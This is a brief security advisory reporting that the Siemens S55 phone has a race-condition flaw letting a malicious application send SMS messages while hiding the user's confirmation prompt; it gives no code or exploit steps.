Reportedly the Siemens S55 is affected by an SMS confirmation message bypass vulnerability. This issue is due to a race condition error that allows a malicious programmer to send SMS messages from unsuspecting cellular telephone user's telephones while obscuring the confirmation request.

This issue may allow a malicious programmer to develop an application that can send SMS messages without the cellular telephone user's knowledge.
